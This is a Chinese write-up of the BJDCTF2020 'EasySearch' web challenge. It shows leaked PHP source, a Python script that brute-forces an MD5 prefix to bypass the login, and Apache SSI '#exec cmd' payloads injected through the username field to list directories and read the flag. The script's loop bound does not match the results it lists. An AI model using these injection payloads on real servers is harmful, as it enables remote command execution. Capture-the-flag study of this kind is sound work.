WEB｜[BJDCTF2020]EasySearch

扫描发现为index.php.swp源码泄漏

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

代码审计-登录

 if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";

POST获取username参数且不为空，password md5后的前六位为6d0bc1即可登陆
编写脚本

import hashlib

for i in range(1000000):
    password = hashlib.md5(str(i)).hexdigest()
    if password[0:6] == '6d0bc1':
        print('%d:%s') % (i, password)

2020666: 6d0bc1153791aa2b4e18b4f344f26ab4
2305004: 6d0bc1ec71a9b814677b85e3ac9c3d40
9162671: 6d0bc11ea877b37d694b38ba8a45b19c

使用任一密码登录，用户名随意，查找发现什么内容也没有

Apache SSI 远程命令执行漏洞

重新查看源码，发现存储文件后缀为shtml，可以利用Apache SSI 远程命令执行漏洞

$text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);

这里是将username内容写到了shtml文件中，所以利用点在username

<!--#exec cmd="whoami" -->

访问对应的shtml文件可查看内容
最后在上级目录发现flag文件

<!--#exec cmd="ls ../" -->

flag_990c66bf85a09c664f0b6741840499b2 index.php index.php.swp public

读取flag文件

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

得到flag

flag{973a1378-a4b8-48d0-8ff9-acf1f0434c3f}